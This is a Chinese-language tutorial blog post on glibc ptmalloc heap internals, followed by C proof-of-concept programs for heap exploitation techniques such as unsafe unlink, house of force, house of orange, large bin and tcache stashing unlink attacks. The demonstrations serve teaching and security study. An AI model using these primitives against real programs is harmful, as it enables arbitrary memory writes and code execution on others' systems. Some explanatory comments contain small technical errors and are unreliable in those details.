linux的堆管理及攻击(ptmalloc)
作者:互联网
堆基础
堆简介
(部分参考与libc源码)
不同的平台有不同的堆内存管理机制,比如:
管理机制 | 对应的相关的平台 |
---|---|
dlmalloc | General purpose allocator |
ptmalloc2 | glibc |
jemalloc | FreeBSD and Firefox |
tcmalloc | |
libumem | Solaris |
本来linux默认的是dlmalloc,但是由于其不支持多线程管理,后来被支持多线程的ptmalloc2代替了。接下来的内容都是基于ptmalloc机制进行的堆管理和攻击。
ptmalloc进行堆分配时有两种方式:brk和mmap。brk分配的堆区由libc管理,在程序结束之前不会返还给操作系统,mmap分配的堆区在使用后会直接munmap返回给系统。
但是也有特例:(glibc malloc 直接mmap的情况)
1.非main_arena区域和它的堆直接通过mmap进行映射
2.申请的chunk大小超过mp_.mmap_thrshold,导致large bin和top都不能满足的情况。
上面提到了几个概念:
chunk:堆块,堆结构中最基本的单元,每一个堆块对应一个chunk,对应结构体malloc_thunk。ptmalloc进行堆管理,可以将堆分成三类:allocated chunk (已分配的),free chunk (空闲的),top chunk (顶部chunk)。
bin:用于组织管理空闲堆块的链表结构
top:堆区的头部,实质为一个chunk,记录着剩下的未分配的堆空间的大小(不包含已经free但是还在bin中管理着的空闲堆块)
main_arena: 结构体malloc_state 的一个实例,用于组织各种bin链和堆分配信息,main_arena在一个进程中只存在一个,其余的malloc_state为非main_arena,比如线程中的malloc_state结构
堆相关结构体
struct malloc_chunk { INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk (if free). */ INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */ struct malloc_chunk* fd; /* double links -- used only if free. */ struct malloc_chunk* bk; /* Only used for large blocks: pointer to next larger size. */ struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */ struct malloc_chunk* bk_nextsize; }; /* * prev_size和size分别代表前一个chunk的大小和当前chunk的大小 * fd和bk分别指向上一个和下一个空闲chunk的起始地址 * fd_nextsize和bk_nextsize只在large bin中才会生效,其余的chunk bin不适用这两个指针 * 因为chunk按照0x1000对齐,所以size的后三位用来作为标志位,判断chunk是否被分配,是否mmap分配的,前面是否有堆块(这个决定pre_size位是否生效) * malloc申请的chunk返回地址并发chunk的起始地址,而是fd指针所在的地址,pre_size既属于当前chunk的头,又属于上一个chunk的数据部分 * 注:glibc最开始会申请一块大的堆内存块用于进程中的malloc进行分配,此堆块地址为连续的 * 在通过malloc和free将这个大的连续堆块分配成了不连续的小块 * 其中free掉的部分被malloc_state中的bin链进行管理,故bin链中的内存地址不一定是连续的 * 这个能解释为什么有pre_size和size形成的隐式链以后还有fd和bk来进行chunk的连接 */ struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; // fast bin /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; } /* * malloc_state根据空闲堆块的大小来进行堆块的管理,分为fastbin,small bin,unsorted bin和large bin四种空闲链表,其中fastbin位于fastbinsY[NFASTBINS],剩下三种bin统一在bins[NBINS * 2 - 2]中进行管理,通过binmap[BINMAPSIZE]来区分某个bin是否存在空闲链表 * fast bin共10个链表,free时chunk会根据的大小进行分类,分到fast bin不同的bin中,fast bin中的空闲chunk的size位的presize不会被初始化,防止堆块的合并,提高分配效率。fast bin为单链,故每次分配都是先入后出。起始bin的chunk大小为32字节,每个bin增加16字节。一些资料上说每个bin上面的chunk最多十个,这个我在ubuntu 16.04上面测试发现是超过这个值的,估计不触发合并就应该没有上限 * unsorted bin:未整理的bin,堆块被释放后优先放到unsorted bin (不适合放到fast bin的chunk,目的是能够有第二次机会重新利用最近释放的chunk),在下一次malloc到来之时,匹配优先级:fast->small->unsorred ->large->top->mmap->分配失败,如果满足条件,则切割,分配,切割后剩余部分继续留在unsorted bin.不满足则按照大小分到fast/small/large bin中。采用fifo分配 * small bin:共62个bins,第一个chunk大小为32字节,每个chunk的大小是8(64位16字节)字节,每个bin中的chunk大小固定。采用fifo * large bin:共63个bin,存放大的chunk,每条bin中的chunk大小可以不一致,但按照从大到小的顺序成链(通过链fd_nextsize和bk_nextsize实现) */
前面提到,glibc之前并不是用ptmalloc来进行堆管理的,为了支持多线程,而使用了ptmalloc,此时需要用到一个结构体: _heap_info
typedef struct _heap_info {
mstate ar_ptr; /* 这个heap所在的arena */
struct _heap_info *prev; /* 上一个heap */
size_t size; /* 字节为单位的当前大小 */
char pad[-5 * SIZE_SZ & MALLOC_ALIGN_MASK]; /* 用于对齐 */
}heap_info;
/*
* ar_ptr指向其对应的arena,typedef struct malloc_state * mstate
* prev指向前一个heap_info结构
*/
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
故将heap_info、malloc_state等连接起来可以得到ptmalloc中堆的具体结构(图来自网络):
main_arena和只含有一个 只有一个Heap info的 thread arena
1.main_arena中不含有heap_info,这是进程的整体堆管理
2.线程的堆管理存在heap_info结构,通过heap_info去指向线程本身的malloc_state
3.线程的堆通过mmap获取,而进程的堆在glibc中直接通过brk申请
4.每个线程都有自己的thread arena,一个arena可以有多个mmap的堆段组成
5.线程的arena进行chunk分配时通过mprotect模拟子堆的增长
6.当新线程产生时,会将一个arena附加到新线程,以减少新线程进行malloc和free等操作进行不必要等待
7.arena数量有限,为8*cpu-core
- 1
- 2
- 3
- 4
- 5
- 6
- 7
malloc 和 free过程
malloc
1.进程第一个调用malloc时,则需要进行一次初始化chunk size + 128k并按照4k对齐的空间作为初始化堆,且位于main_arena
2.若已经有arena,则计算实际所需的chunk大小
3.判断chunk.size < max_fast,小于则取fast bin中获取chunk,找到则分配成功,失败则进入下一步
4.失败匹配small bins(size 在small bin区间),成功则分配,失败则触发合并(fast的合并bin)。
5.查找unsorted bin(size不在small bin区间或者small bin分配失败)。
(1)若所需大小为small bin,且unsorted bin中只含有唯一一个chunk,则拆分unsorted bin,然后将剩下的继续留在unsorted bin。然后直接返回
(2)若所需大小不为small bin,fast chunk合并到unsorted bin。
判断unsorted bin中的chunk,大小刚好适合则分配并返回。
其他情况,将unsorted bin中剩下的chunk,然后根据大小放到对应的chunk (small/large),此过程和所需chunk的size无关
6.判断是否large bin,然后从中分配。可以拆分,剩余部分放到unsorted bins
7.如果large失败,从top中取
large 分配时从小到大搜索,每个bin的第一个为最大的size,从large bin拆分后剩余部分放到unsorted bin并设置last_remainder
8.top失败,进行mmap获取
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
free
1.如果≤fast的最大size,尝试加到fast bin
2.如果不是fast bin的,则检查是否mmap的
3.非mmap的内存,放到unsorted bin.(放之前会检测是否位于top chunk,是则直接和top合并)
4.然后检查是否有合并,有合并则合并。合并后检查top chunk的大小是否大于mmap阈值,如果是,对于main_arena,会试图归还top chunk的一部分给操作系统
5.fast bin中的chunk如果有合并,合并后放到usorted bin中
6.mmap的chunk直接munmap
- 1
- 2
- 3
- 4
- 5
- 6
堆攻击
unsorted bin into stack
unsorted bin为双链结构,其分配过程为
victim = unsorted_chunks (av)->bk // 找到unsorted bin的第一个chunk
bck = victim->bk;
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
// 从代码可以看出,申请空间victim以后,unsorted bin的bk指向了victim的bk,victim的bk的fd指向了unsorted bin
- 1
- 2
- 3
- 4
- 5
攻击利用
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }
int main() {
intptr_t stack_buffer[4] = {0};// fake chunk
intptr_t* victim = malloc(0x100); // 申请一个0x100的chunk
intptr_t* p1 = malloc(0x100); // 防止顶部堆块合并
free(victim);// 释放victim,此时victim被放到unsorted bin (0x100+MINISIZE超过了fastbin的区间)
stack_buffer[1] = 0x100 + 0x10;// stack_buffer->size = 0x110 (need_size+head_size)
stack_buffer[3] = (intptr_t)stack_buffer; // stack_buffer->bk = stack_buffer,绕过检查
// stack_buffer为栈空间数据,将其构造成一个伪造的chunk
victim[-1] = 32;// victim->size = 32
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
// 修改victim的size字段和bk指针,将size改成0x20,bk指向伪造的栈 chunk地址
char *p2 = malloc(0x100);// p2 == stack_var
// 再次malloc 0x100空间时,由于victim的size被改变为0x20,所以将victim整合到small bin,再从victim的bk中去找合适的空间
// 此时找到了伪造的栈chunk,且大小刚刚好,故将栈上的空间申请了出来,即stack_buffer
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p2+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
// 将恶意函数地址复制到stack_buffer某个能被执行到的位置,即可实现绕过canary进行攻击
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
图解
unsorted bin attack
此方法主要是用于泄露libc的地址
攻击利用:
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var=0;
unsigned long *p=malloc(0x410);
malloc(500);//防止堆块与top发生合并
free(p);// p所在chunk被整合到unsorted bin
p[1]=(unsigned long)(&stack_var-2); // 伪造p->bk
// 因为p和stack_var是栈上两个连续的变量,故它们的地址是连续的
// 故stack_var->bk == p
// 又p->bk == stack_var-2
// 故stack_var->bk->bk == stack_var-2,绕过了地址检测
malloc(0x410);// 此时再将p申请出来,由于p的bk被伪造,故可以将stack_var的fd指向unsorted bin-2的地址从而暴露libc信息。即暴露的地址为top的地址
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
unsafe unlink
unlink是空闲的chunk在合并和被malloc时的解链过程,这个过程如果存在漏洞,可以通过堆溢出实现任意地址读写
攻击利用:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
uint64_t *chunk0_ptr;
int main()
{
int malloc_size = 0x80;
int header_size = 2;
chunk0_ptr = (uint64_t*) malloc(malloc_size); //申请第一个chunk
uint64_t *chunk1_ptr = (uint64_t*) malloc(malloc_size); //申请第二个chunk
chunk0_ptr[2] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*3);
// chunk0_ptr指向的值为chunk0的body的地址,不包含chunk 头,故chunk0_ptr为伪造的chunk的起始地址(包含伪造头)
// fake_chunk->fd = &fake_chunk-0x18 , 也就是说fake_chunk->fd->bk = fake_chunk
// a[2] = a-3 = b;b[3] = b+3 = a;a->fd->bk = a
chunk0_ptr[3] = (uint64_t) &chunk0_ptr-(sizeof(uint64_t)*2);
//同理可得:fake_chunk->bk = &fake_chunk-0x10, 即fake_chunk->bk->fd = fake_chunk
// 综上两步可以伪造并绕过检测:p->fd->bk = p,p->bk->fd = p
uint64_t *chunk1_hdr = chunk1_ptr - header_size;
chunk1_hdr[0] = malloc_size;// 伪造presize,即newsize + 0x10 = size
chunk1_hdr[1] &= ~1; // 伪造previous in use 标志为0
free(chunk1_ptr); // free 触发两个块unlink
// 修改chunk2的数据,实现在free时触发chunk1和chunk2的合并
char victim_string[8];
strcpy(victim_string,"Hello!~");
chunk0_ptr[3] = (uint64_t) victim_string;
/**
* unlink 以后内存布局
* 1.&chunk0_ptr == &chunk0_ptr[3] chunk0_ptr == chunk0_ptr[3],即chunk0_ptr 变成了 &chunk0_ptr-3
* 2.所以,chunk0_ptr[3] == &chunk0_ptr[0]
* 3.修改chunk0_ptr[3]的值,即可修改chun0_ptr所指向的地址
* 4.即chunk0_ptr所指向地址变成了victim的地址
* 5.此时修改chunk0_ptr[0]的值,就会成功修改到victim的值
* 6.第三步导致chunk0_ptr的值改变后,&chunk_ptr[3]不再和chunk0_ptr指向同一个地址
*/
chunk0_ptr[0] = 0x4141414142424242LL;// chunk_ptr[0] = victim_string
fprintf(stderr, "New Value: %s\n",victim_string);
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
unlink 过程
mchunkptr fd = p->fd;
mchunkptr bk = p->bk;
fd->bk = bk;
bk->fd = fd;
// 即 p->fd->bk = p->bk,p->bk->fd = p->fd
// 向前合并,丢弃当前块
// 向后合并,丢弃后面块
- 1
- 2
- 3
- 4
- 5
- 6
- 7
图解:
此时通过修改chunk0_ptr[3]的内容为要读写的地址addr,实际上修改的是chunk_ptr所指向的内容。修改完以后,chunk0_ptr的指针恢复正常,再次对chunk0_ptr[0]进行读写,则实际上是对addr的读写
house of einherjar
攻击利用:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{
// 禁用缓冲区
setbuf(stdin, NULL);
setbuf(stdout, NULL)
// 初始化数据
uint8_t* a;
uint8_t* b;
uint8_t* d;
// 分配0x38的a
a = (uint8_t*) malloc(0x38);
int real_a_size = malloc_usable_size(a);
size_t fake_chunk[6];
// 制造一个假块
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
// malloc 一个0xf8的块,其真实大小为0x100
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
// 覆盖b的pre_size为fake size
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
// 修改fake_chunk的size字段
fake_chunk[1] = fake_size
free(b); // 触发fake 和 b的合并
// 再次malloc将会把fake chunk申请出来
d = malloc(0x200);
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
如图
house of force
攻击利用:
#include<stdio.h>
#include<malloc.h>
#include<unistd.h>
#include<string.h>
int main(){
long stack_var[10];
long *p = malloc(0x10);
*(p+3) = -1;// 溢出到top的size为-1,即0xffffff,作为无符号整数时,该值为地址最大的值
long size = (long)stack_var-(long)p; // 计算var到p的距离
// (long)stack_var-(long)(p-6);
size = size-0x30;// 要申请的size
// 为什么要-0x30
/** 1.-top chunk的head 2. -要申请出来的chunk的头 3.满足(2)以后,top指向var,要想将var的地址申请出来,需要-0x10,即var chunk的head*/
long *s = malloc(size);
// 申请完s,top位于var-0x10
p = malloc(0x10);
// p的地址就为var的地址,若var为要攻击的地址,则,可以实现对要攻击的地址的任意读写
return 0;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
图示
double free
double主要在fast bin上进行攻击,因为fast bin为单链,且安全检查不够严格,故double free很容易实现,这里列一下过程:
1.申请一个chunk a,一个chunk b,chunk 大小相同且在0x20-0x80之间,这样能让两个chunk 在同一条fast bin
2.先free a,再free b,再free a,目的是绕过检测,因为glibc中会判断当前free的chunk和fast bin中的上一个chunk是否同一个,这样中间插一个b chunk就能绕过了
3.malloc a,然后修改a->fd为要攻击的地址addr
4.malloc b
5.再次malloc a,此时会将chunk 中的a再次申请出来
6.再次malloc即可得到要攻击的地址addr
- 1
- 2
- 3
- 4
- 5
- 6
图示
无free的堆攻击:hourse of orange
一般想要利用堆进行攻击,都会用到free将堆释放到arena结构的bins中,然后通过再次申请,伪造堆块实现攻击。但如果遇到没有free的情况,往往进行堆攻击是比较困难的,hourse of orange利用的是替换文件i/o流函数指针的方式,实现攻击。
攻击利用:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
p1 = malloc(0x400-16);
// 计算top所在的地址
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;// 修改top的size,将其改小
// top size 必须是对齐内存页的
// top size的pre位必须为1
p2 = malloc(0x1000);// 申请size>修改后的top size,但是<mp_.mmap_threshold的size
// 避免调用mmap申请内存
io_list_all = top[2] + 0x9a8;
top[3] = io_list_all - 0x10; // 将io_list_all的地址写到top chunk的bk
// 作为hook后函数的参数
memcpy( ( char *) top, "/bin/sh\x00", 8);
// 伪造通过伪造top实现伪造_IO_FOLE结构
top[1] = 0x61;// 伪造top的size,下次malloc时将其整合到small bin[6]
// io_list_all偏移0x60的位置恰好是_chain
// 配置伪造io_list_all,通过控制top的内容控制该结构
/**触发:
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
|| (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)))&& _IO_OVERFLOW (fp, EOF) == EOF)
*/
top[24] = 1;// 伪造fp->_mode > 1
top[21] = 2;// fp->_wide_date->_IO_write_base
top[22] = 3;// fp->_wide_date->_IO_write_ptr
top[20] = (size_t) &top[18];// 替换 _IO_WIDE_DATA
top[15] = (size_t) &winner;// hook jmp table的第四个值为hook函数
top[27] = (size_t ) &top[12]; // hook jmp table
malloc(10);
return 0;
}
// 用于攻击的函数
int winner(char *ptr)
{
system(ptr);
return 0;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
- 38
- 39
- 40
- 41
- 42
- 43
- 44
- 45
- 46
- 47
- 48
- 49
- 50
- 51
图解:
large bin 攻击
large bin的组织方式:
large bin是按照从小到大的顺序排列的,一条bin链中的chunk 大小并不完全一样,处于一个范围区间。大小相同的chunk 共用一个头,只有头的fd_nextsize和bk_nextsize才会生效
攻击利用:
因为large bin 含有两条链,故可以实现两个任意地址的读写:
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned long stack_var1 = 0;// 要攻击的地址1
unsigned long stack_var2 = 0;// 要攻击的地址2
unsigned long *p1 = malloc(0x320); // 申请第一个large chunk
malloc(0x20);// 申请一个小chunk 避免合并
unsigned long *p2 = malloc(0x400);// 第二个large chunk
malloc(0x20);// 小chunk 避免合并
unsigned long *p3 = malloc(0x400);// 第三个large chunk
malloc(0x20);// 小chunk
free(p1);
free(p2);
malloc(0x90);// 先将p1,p2整合到large bin,然后再将p1切割,剩下部分放到unsorted bin
free(p3);// 释放p3,p3被放到unsorted bin
p2[-1] = 0x3f1;// p2.size < p3.size ,3f1 < 411
p2[0] = 0;
p2[2] = 0;
p2[1] = (unsigned long)(&stack_var1 - 2);// p2->bk = stack_var2[-2] ,stack_var1 = addr1->fd
p2[3] = (unsigned long)(&stack_var2 - 4);// p2->bk_nextsize = stack_var2[-4], stack_var2 = addr2->fd_nextsize
// 触发large bin合并时,会触发两个任意地址读写:addr1 和 addr2
malloc(0x90);// 触发large bin的链接,先将p1合并到large bin,再将p3合并到large bin,再切割p1
// 此时p3合并到p2之前
// 因为p2的size<p3的size,而构造的stack_var2-4的chunk的size,即p2->bk_nextsize->size在内存中
// 的值 > p3->size,故p3插入到p2和stack_var2-4之间,不会改变large bin的fd和bk指针
// 但p3的bk和bk_nextsize指向了stack_var1-2和stack_var2-4,同时stack_var1-2->fd == stack_var1 == p3 chunk的地址,stack_var2-4->fd_nextsize == stack_var2 == p3 chunk的地址
// 故stack_var1和stack_var2的值都变成了p3的地址
// 实现了两次任意地址读写
fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);
fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);
return 0;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
tcache 机制
由于线程要进行堆申请时,需要通过arena来获取,而每个arena都通过获取锁来占用,这样,如果通过fast bin进行堆分配,对锁指令的执行会占用分配相当大的一部分时间,且锁资源非常珍贵。为了加快堆分配的速度,在libc 2.26以后引入了tcache机制。
tcache有如下机制:
1.tcache 也通过单链进行管理,故针对fast bin能够生效的攻击基本上也适用于tcache,比如double free
2.每个线程默认的tcache有64个bin,每个bin包含最多七个chunk
3.每条bin中的chunk 大小完全相等
4.malloc申请时,优先从tcache中获取chunk
5.当申请的chunk是从fast/small/large bin时,会将三个bins中剩余chunk整合到tcache,直到tcache 对应的链中存在七个chunk或者三个bins对应的bin为空
6.如果申请的堆块来自unsorted bin,切割unsorted bin以后剩余部分继续留在unsorted bin
7.tcache没有锁机制,且对链的检查比fast bin还不严格
8.当使用calloc申请内存时,不会使用tcache机制
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
tcache stashing unlink attack
攻击利用:
#include <stdio.h>
#include <stdlib.h>
int main(){
unsigned long stack_var[0x10] = {0};
unsigned long *chunk_lis[0x10] = {0};// 通过指针数组管理堆指针
unsigned long *target;
stack_var[3] = (unsigned long)(&stack_var[2]);
for(int i = 0;i < 9;i++){
chunk_lis[i] = (unsigned long*)malloc(0x90);// 申请九个chunk
}
for(int i = 3;i < 9;i++){
free(chunk_lis[i]);//释放4-9共六个chunk到tcache
}
//last tcache bin
free(chunk_lis[1]); // 最后一个tcache
//now they are put into unsorted bin
// chunk_lis[0 & 2]被分配到unsorted bin
free(chunk_lis[0]);
free(chunk_lis[2]);
// 申请一个大于前面几个chunk的内存,将chunk_lis[0 & 2]合并到small bin
malloc(0xa0);//>0x90
// 申请两个chunk,此时从tcache中分配,tcache只剩5个,small bin还剩两个
malloc(0x90);
malloc(0x90);
// 修改chunk_lis[2]的bk指针,由于bins采用lifo的方式进行chunks管理,所以这里chunk_list[2]->fd 指向small bin。
chunk_lis[2][1] = (unsigned long)stack_var;// 修改chunk_list[2]的fd为伪造的chunk
/**
* calloc 在分配时不会触发tcache,且当tcache非满时,同大小的small bin会被放进tcache
* 在这个过程中只对当前calloc的chunk进行了完整性检查,后面堆块的检查缺失。
* 当攻击者可以写进一个small bin的bk时,其可以在任意地址上写一个libc的地址
* 构造得当的情况下也可以分配fake chunk到任意地址
*/
calloc(1,0x90);
target = malloc(0x90);
fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
return 0;
}
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
- 25
- 26
- 27
- 28
- 29
- 30
- 31
- 32
- 33
- 34
- 35
- 36
- 37
图解:
标签:ptmalloc,bin,malloc,攻击,chunk,bk,linux,stack,size 来源: https://www.cnblogs.com/peifx/p/16276943.html